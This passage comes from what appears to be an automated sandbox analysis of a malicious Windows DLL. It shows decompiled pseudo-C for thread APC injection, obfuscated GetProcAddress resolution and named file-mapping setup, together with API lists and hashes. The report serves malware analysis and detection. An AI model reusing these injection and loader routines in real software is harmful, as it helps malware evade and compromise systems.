					 *_t57(_t44, _t39, _t50);
					E6DCF136A(_t44);
					goto L11;
				}
			}

0x6dcf17b3
0x6dcf17bc
0x6dcf17c0
0x6dcf18c8
0x6dcf18ce
0x00000000
0x00000000
0x00000000
0x6dcf17c6
0x6dcf17c6
0x6dcf17cb
0x6dcf17d1
0x6dcf17e0
0x6dcf17e1
0x6dcf17e4
0x6dcf17f0
0x6dcf17f4
0x6dcf17fa
0x6dcf17fe
0x6dcf1805
0x00000000
0x00000000
0x6dcf180b
0x6dcf1812
0x6dcf1816
0x6dcf18b9
0x6dcf18b9
0x6dcf18c0
0x6dcf18c2
0x6dcf18c2
0x00000000
0x6dcf18c0
0x6dcf181f
0x6dcf1872
0x6dcf1872
0x6dcf1883
0x6dcf1887
0x6dcf18b5
0x6dcf1889
0x6dcf188c
0x6dcf1894
0x6dcf1898
0x6dcf18a0
0x6dcf18a0
0x6dcf18a7
0x6dcf18a7
0x00000000
0x6dcf1887
0x6dcf182d
0x6dcf186c
0x00000000
0x6dcf186c
0x6dcf182f
0x6dcf1833
0x6dcf183e
0x6dcf1842
0x6dcf1864
0x6dcf1864
0x00000000
0x6dcf1864
0x6dcf1844
0x6dcf1849
0x6dcf1850
0x6dcf1855
0x00000000
0x6dcf1857
0x6dcf185a
0x6dcf185d
0x00000000
0x6dcf185d

APIs

Part of subcall function 6DCF146C: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6DCF17B8,751463F0,00000000), ref: 6DCF147B
Part of subcall function 6DCF146C: GetVersion.KERNEL32 ref: 6DCF148A
Part of subcall function 6DCF146C: GetCurrentProcessId.KERNEL32 ref: 6DCF1499
Part of subcall function 6DCF146C: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6DCF14B2

GetSystemTime.KERNEL32(?,751463F0,00000000), ref: 6DCF17CB
SwitchToThread.KERNEL32 ref: 6DCF17D1

Part of subcall function 6DCF15A3: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6DCF15F9
Part of subcall function 6DCF15A3: memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6DCF17EC), ref: 6DCF168B
Part of subcall function 6DCF15A3: VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,00000000), ref: 6DCF16A6

Sleep.KERNEL32(00000000,00000000), ref: 6DCF17F4
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 6DCF183C
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 6DCF185A
WaitForSingleObject.KERNEL32(00000000,000000FF,6DCF16EC,?,00000000), ref: 6DCF188C
GetExitCodeThread.KERNEL32(00000000,?), ref: 6DCF18A0
CloseHandle.KERNEL32(00000000), ref: 6DCF18A7
GetLastError.KERNEL32(6DCF16EC,?,00000000), ref: 6DCF18AF
GetLastError.KERNEL32 ref: 6DCF18C2

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: d11277ea784a09292f09bded0d8556b922a3c23cc183fcb5fdee1d04792b018f
Instruction ID: 6d857a6eb7c6f7cc1917e5a16d5c8fe6dd119941709306e902568156346714ce
Opcode Fuzzy Hash: d11277ea784a09292f09bded0d8556b922a3c23cc183fcb5fdee1d04792b018f
Instruction Fuzzy Hash: EB3170B180871EABC791DB699944AEB77FCEE86754B120E1AF564C3140F730C506CAA6

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1979, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6DCF1979(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L6DCF2210();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x6dcf41d0;
				_push(_t15 + 0x6dcf505e);
				_push(_t15 + 0x6dcf5054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L6DCF220A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t34 = CreateFileMappingW(0xffffffff, 0x6dcf41c0, 4, 0, _t18,  &_v60);
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0);
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x6dcf1979
0x6dcf1982
0x6dcf1986
0x6dcf198c
0x6dcf1991
0x6dcf1996
0x6dcf1999
0x6dcf199c
0x6dcf19a1
0x6dcf19a2
0x6dcf19a5
0x6dcf19b0
0x6dcf19b7
0x6dcf19bb
0x6dcf19bd
0x6dcf19be
0x6dcf19c1
0x6dcf19c6
0x6dcf19d0
0x6dcf19d2
0x6dcf19d2
0x6dcf19ec
0x6dcf19f0
0x6dcf1a40
0x6dcf19f2
0x6dcf19fb
0x6dcf1a11
0x6dcf1a19
0x6dcf1a2b
0x6dcf1a2f
0x00000000
0x00000000
0x6dcf1a1b
0x6dcf1a1e
0x6dcf1a23
0x6dcf1a25
0x6dcf1a25
0x6dcf1a06
0x6dcf1a08
0x6dcf1a31
0x6dcf1a32
0x6dcf1a32
0x6dcf19fb
0x6dcf1a48

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6DCF176E,0000000A,?,?), ref: 6DCF1986
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6DCF199C
_snwprintf.NTDLL ref: 6DCF19C1
CreateFileMappingW.KERNEL32(000000FF,6DCF41C0,00000004,00000000,?,?), ref: 6DCF19E6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6DCF176E,0000000A,?), ref: 6DCF19FD
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 6DCF1A11
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6DCF176E,0000000A,?), ref: 6DCF1A29
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6DCF176E,0000000A), ref: 6DCF1A32
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6DCF176E,0000000A,?), ref: 6DCF1A3A

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 81fce8636b4b434ccdfe5067f35695e319671b2cbfc4d40ac8df4da8efc0b1d4
Instruction ID: edfb2b870b6b7ef2bc37d29b8f15a232a8c289f2e2052b67400ec968ee58b026
Opcode Fuzzy Hash: 81fce8636b4b434ccdfe5067f35695e319671b2cbfc4d40ac8df4da8efc0b1d4
Instruction Fuzzy Hash: DB2148B260010CBFDB51ABA9DC84FEE77B8EF49354F21802AF611D7180E77199468B61

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5E984, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 274COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,00000000,6DD51A4A,?,?,6DD15404,000000A4,6DD14FBB,00000000,00000001,?,?,?,?,?,?), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

_memcmp.LIBVCRUNTIME ref: 6DD5EC2E
_free.LIBCMT ref: 6DD5EC9F
_free.LIBCMT ref: 6DD5ECB8
_free.LIBCMT ref: 6DD5ECEA
_free.LIBCMT ref: 6DD5ECF3
_free.LIBCMT ref: 6DD5ECFF

Strings

C, xrefs: 6DD5EAEC

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 166a914a06c47f756350bcbe717a4745c0197a108ed1335d2dca48936e6363b7
Instruction ID: 686ab76f73b66c131f6b2230657bcba24886c3bc53efb5bca0f59d9b9763a861
Opcode Fuzzy Hash: 166a914a06c47f756350bcbe717a4745c0197a108ed1335d2dca48936e6363b7
Instruction Fuzzy Hash: E1C1097590521ADFDF24EF18C884AADB7B4FB49304F1085AAE549E7351E731AEA0CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6877C, Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6DD687FE
_free.LIBCMT ref: 6DD68822
_free.LIBCMT ref: 6DD689A9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6DD82130), ref: 6DD689BB
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A1C,000000FF,00000000,0000003F,00000000,?,?), ref: 6DD68A33
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A70,000000FF,?,0000003F,00000000,?), ref: 6DD68A60
_free.LIBCMT ref: 6DD68B75

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 7272b87f7562aef5a89d0bfe94eb8da71b47b3d8f7ec6d83782b479a78489b5e
Instruction ID: 01006a61646f142e56e3a75c6527ad94440e0adecc7cb0ae4a016286a9a7a98c
Opcode Fuzzy Hash: 7272b87f7562aef5a89d0bfe94eb8da71b47b3d8f7ec6d83782b479a78489b5e
Instruction Fuzzy Hash: 9EC12771908286EBDF10BF68C840BBA7BB9AF47314F14419AF995972C1D7309A41CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD62C2B, Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,?,?,?,?,?,?,?,?,6DD633A0,?,?,00000000,?,?,?), ref: 6DD62C6D
__fassign.LIBCMT ref: 6DD62CE8
__fassign.LIBCMT ref: 6DD62D03
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 6DD62D29
WriteFile.KERNEL32(?,00000000,00000000,6DD633A0,00000000,?,?,?,?,?,?,?,?,?,6DD633A0,?), ref: 6DD62D48
WriteFile.KERNEL32(?,?,00000001,6DD633A0,00000000,?,?,?,?,?,?,?,?,?,6DD633A0,?), ref: 6DD62D81

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: a6e230a6e9a68e9ffe01bcff42e09cc5c9194578d791624094a7e689aca8714f
Instruction ID: 6b5eb0ded50f00b79612ed333d8fd342f5e8ab6a5004506a66828e5ec2c2c3bc
Opcode Fuzzy Hash: a6e230a6e9a68e9ffe01bcff42e09cc5c9194578d791624094a7e689aca8714f
Instruction Fuzzy Hash: 45516FB1A01249AFDB10DFA8C885BEEBBB8EF0A304F15455AF955E7281D730D941CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6D29B, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6DD6CF81: _free.LIBCMT ref: 6DD6CFAA

_free.LIBCMT ref: 6DD6D2E9

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(?,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?,?), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6D2F4
_free.LIBCMT ref: 6DD6D2FF
_free.LIBCMT ref: 6DD6D353
_free.LIBCMT ref: 6DD6D35E
_free.LIBCMT ref: 6DD6D369
_free.LIBCMT ref: 6DD6D374

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 60696fea0fb7a8f1018e7d39f05bb92555332742b445cba9cf2dcfb68d68d62d
Instruction ID: d1c49af537d33ec02b9313579cb25aa51e9056673f7223d70ac11242c69475df
Opcode Fuzzy Hash: 60696fea0fb7a8f1018e7d39f05bb92555332742b445cba9cf2dcfb68d68d62d
Instruction Fuzzy Hash: E5117F7198AB44ABDE30B7B4CC05FCBBBBD9F00704F418A15B3A966051EB35F52846B0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6621F, Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,00000010,?,00000000,?,?,?,6DD66470,00000001,00000001,005123E8), ref: 6DD66279
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,6DD66470,00000001,00000001,005123E8,00000010,?,?), ref: 6DD662FF
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,00000010,005123E8,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 6DD663F9
__freea.LIBCMT ref: 6DD66406

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,?), ref: 6DD5F29F

__freea.LIBCMT ref: 6DD6640F
__freea.LIBCMT ref: 6DD66434

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: af5534247b19f761b585dc8f307c33844cfdbdd82c971f49333796c8780b1e44
Instruction ID: 2508f825489012639cb1c97c8b72cdd72ed52e493cfadb2deb23299262eaf910
Opcode Fuzzy Hash: af5534247b19f761b585dc8f307c33844cfdbdd82c971f49333796c8780b1e44
Instruction Fuzzy Hash: B551DE72618266EBEB15AFA4CC80FBF77A9EB45754F1242A8FD14D6140EB34EC5086F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD523DD, Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 6DD52409
__cftoe.LIBCMT ref: 6DD5243B

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 3b15b772203237d01cbff23b44e7ebf7923f9f1de48148bfa59dc0d3a0fa7e51
Instruction ID: 1b8b4a864a7d9128e4ec75027ffe3e012ea03a9573ba1d772475ca899412a4ef
Opcode Fuzzy Hash: 3b15b772203237d01cbff23b44e7ebf7923f9f1de48148bfa59dc0d3a0fa7e51
Instruction Fuzzy Hash: EF51C972908206EBDF25BB688C40F7E7FBDEF4A36CF114219F925A6182DB31D5248674

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1AA5, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DCF1AA5(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E6DCF1C8F(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x6dcf41d0 + 0x6dcf5014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x6dcf41d0 + 0x6dcf50e1);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E6DCF136A(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x6dcf41d0 + 0x6dcf50f1);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x6dcf41d0 + 0x6dcf5104);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x6dcf41d0 + 0x6dcf5119);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x6dcf41d0 + 0x6dcf512f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E6DCF18D1(_t56, _a12);
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x6dcf1ab3
0x6dcf1ab7
0x6dcf1b78
0x6dcf1abd
0x6dcf1ad5
0x6dcf1ae4
0x6dcf1aeb
0x6dcf1aef
0x6dcf1af2
0x6dcf1b70
0x6dcf1b71
0x6dcf1af4
0x6dcf1b01
0x6dcf1b05
0x6dcf1b08
0x00000000
0x6dcf1b0a
0x6dcf1b17
0x6dcf1b1b
0x6dcf1b1e
0x00000000
0x6dcf1b20
0x6dcf1b2d
0x6dcf1b31
0x6dcf1b34
0x00000000
0x6dcf1b36
0x6dcf1b43
0x6dcf1b47
0x6dcf1b4a
0x00000000
0x6dcf1b4c
0x6dcf1b52
0x6dcf1b58
0x6dcf1b5d
0x6dcf1b64
0x6dcf1b67
0x00000000
0x6dcf1b69
0x6dcf1b6c
0x6dcf1b6c
0x6dcf1b67
0x6dcf1b4a
0x6dcf1b34
0x6dcf1b1e
0x6dcf1b08
0x6dcf1af2
0x6dcf1b86

APIs

Part of subcall function 6DCF1C8F: HeapAlloc.KERNEL32(00000000,?,6DCF117D,?,00000000,00000000,?,?,?,6DCF1810), ref: 6DCF1C9B

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,6DCF1272,?,?,?,?), ref: 6DCF1AC9
GetProcAddress.KERNEL32(00000000,?), ref: 6DCF1AEB
GetProcAddress.KERNEL32(00000000,?), ref: 6DCF1B01
GetProcAddress.KERNEL32(00000000,?), ref: 6DCF1B17
GetProcAddress.KERNEL32(00000000,?), ref: 6DCF1B2D
GetProcAddress.KERNEL32(00000000,?), ref: 6DCF1B43

Part of subcall function 6DCF18D1: memset.NTDLL ref: 6DCF1950

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocHandleHeapModulememset
String ID:
API String ID: 426539879-0
Opcode ID: 28253d12a915576397d91187031cd69022eb3cf63764f48d648b67a51781607d
Instruction ID: 2c4f4a98eeff89abee9cbf66f59ebec0f1c79c92aee6f64a33901660c6d6ee2d
Opcode Fuzzy Hash: 28253d12a915576397d91187031cd69022eb3cf63764f48d648b67a51781607d
Instruction Fuzzy Hash: 0521E8F161460EEFDB50DF69D980FAA7BF8EF09684B018526E915C7211F731E906CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1E04, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x6dcf4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x6dcf418c;
						if( *0x6dcf418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x6dcf4198;
								if( *0x6dcf4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x6dcf418c);
						}
						HeapDestroy( *0x6dcf4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x6dcf4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0);
						_t41 = _t18;
						 *0x6dcf4190 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x6dcf41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E6DCF1CA4(E6DCF1D32, E6DCF1EE0(_a12, 1, 0x6dcf4198, _t41));
							 *0x6dcf418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x6dcf1e07
0x6dcf1e13
0x6dcf1e15
0x6dcf1e18
0x6dcf1e8e
0x6dcf1e94
0x6dcf1e96
0x6dcf1e98
0x6dcf1e9e
0x6dcf1ea0
0x6dcf1ea5
0x6dcf1ea8
0x6dcf1eb3
0x6dcf1eb5
0x00000000
0x00000000
0x6dcf1eb7
0x6dcf1eba
0x6dcf1ebc
0x00000000
0x00000000
0x00000000
0x6dcf1ebc
0x6dcf1ec4
0x6dcf1ec4
0x6dcf1ed0
0x6dcf1ed0
0x6dcf1e1a
0x6dcf1e1b
0x6dcf1e3b
0x6dcf1e41
0x6dcf1e43
0x6dcf1e48
0x6dcf1e84
0x6dcf1e84
0x6dcf1e4a
0x6dcf1e52
0x6dcf1e59
0x6dcf1e63
0x6dcf1e6f
0x6dcf1e76
0x6dcf1e7b
0x6dcf1e80
0x00000000
0x6dcf1e80
0x6dcf1e7b
0x6dcf1e48
0x6dcf1e1b
0x6dcf1edd

APIs

InterlockedIncrement.KERNEL32(6DCF4188), ref: 6DCF1E26
HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 6DCF1E3B

Part of subcall function 6DCF1CA4: CreateThread.KERNEL32 ref: 6DCF1CBB
Part of subcall function 6DCF1CA4: QueueUserAPC.KERNEL32(?,00000000,?), ref: 6DCF1CD0
Part of subcall function 6DCF1CA4: GetLastError.KERNEL32(00000000), ref: 6DCF1CDB
Part of subcall function 6DCF1CA4: TerminateThread.KERNEL32(00000000,00000000), ref: 6DCF1CE5
Part of subcall function 6DCF1CA4: CloseHandle.KERNEL32(00000000), ref: 6DCF1CEC
Part of subcall function 6DCF1CA4: SetLastError.KERNEL32(00000000), ref: 6DCF1CF5

InterlockedDecrement.KERNEL32(6DCF4188), ref: 6DCF1E8E
SleepEx.KERNEL32(00000064,00000001), ref: 6DCF1EA8
CloseHandle.KERNEL32 ref: 6DCF1EC4
HeapDestroy.KERNEL32 ref: 6DCF1ED0

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: 558ab43712f57af542b1f39974360ff2a8d8c5b83783dfc72a8893de072d2ddb
Instruction ID: 223a72604fcd8dee9d21e1eab5756585c437a3f7ac86a90e0f4561adfc188cd7
Opcode Fuzzy Hash: 558ab43712f57af542b1f39974360ff2a8d8c5b83783dfc72a8893de072d2ddb
Instruction Fuzzy Hash: 952151B1A0420EFBCB409FADED88BEA7BB8FF5A361711812AE505D3140F7308902CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D5FF, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,6DD51A4A,?,?,6DD15404,000000A4,6DD14FBB,00000000,00000001,?,?,?,?,?,?), ref: 6DD5D603
_free.LIBCMT ref: 6DD5D636
_free.LIBCMT ref: 6DD5D65E
SetLastError.KERNEL32(00000000), ref: 6DD5D66B
SetLastError.KERNEL32(00000000), ref: 6DD5D677
_abort.LIBCMT ref: 6DD5D67D

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b53baad7a70627167143d7d3e22512e0aa3ab68b1a55b35d2598ab5670286db6
Instruction ID: c4c9cb6df6330db14837cc9e56814ac9d81a01249edd3fc82737356f397e9635
Opcode Fuzzy Hash: b53baad7a70627167143d7d3e22512e0aa3ab68b1a55b35d2598ab5670286db6
Instruction Fuzzy Hash: 7BF08136548515A6EE0237789C09F6A36369BD36A5B220115FA2892185EF24C43282B4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD175E8, Relevance: 9.0, APIs: 6, Instructions: 33COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6DD175F4
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17602

Part of subcall function 6DD33D74: RaiseException.KERNEL32(?,?,6DD175E7,?,?,?,?,?,?,?,?,6DD175E7,?,6DDD14C0,?), ref: 6DD33DD4

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6DD17614
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17622
std::regex_error::regex_error.LIBCPMT ref: 6DD17634
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17642

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: Exception@8Throw$std::invalid_argument::invalid_argument$ExceptionRaisestd::regex_error::regex_error
String ID:
API String ID: 1025122861-0
Opcode ID: a1402ffb851a3cf2d3f6938f6a97a64c3e78ed4988e8f03d3cf634f86076f93f
Instruction ID: 32ac676fdc5699cd46c6f2486575129fdc2d7c7e9a71b75b2a4ff08d077a670f
Opcode Fuzzy Hash: a1402ffb851a3cf2d3f6938f6a97a64c3e78ed4988e8f03d3cf634f86076f93f
Instruction Fuzzy Hash: 37F03A38C0810CB7CF04FBE4FD45CADB77CEA04200F414920BB6492051EB75A21A87E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1CA4, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DCF1CA4(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				long _t11;
				void* _t13;

				_t13 = CreateThread(0, 0, __imp__SleepEx,  *0x6dcf41cc, 0, _a12);
				if(_t13 != 0 && QueueUserAPC(_v0, _t13, _a4) == 0) {
					_t11 = GetLastError();
					TerminateThread(_t13, _t11);
					CloseHandle(_t13);
					_t13 = 0;
					SetLastError(_t11);
				}
				return _t13;
			}

0x6dcf1cc1
0x6dcf1cc5
0x6dcf1ce1
0x6dcf1ce5
0x6dcf1cec
0x6dcf1cf3
0x6dcf1cf5
0x6dcf1cfb
0x6dcf1cff

APIs

CreateThread.KERNEL32 ref: 6DCF1CBB
QueueUserAPC.KERNEL32(?,00000000,?), ref: 6DCF1CD0
GetLastError.KERNEL32(00000000), ref: 6DCF1CDB
TerminateThread.KERNEL32(00000000,00000000), ref: 6DCF1CE5
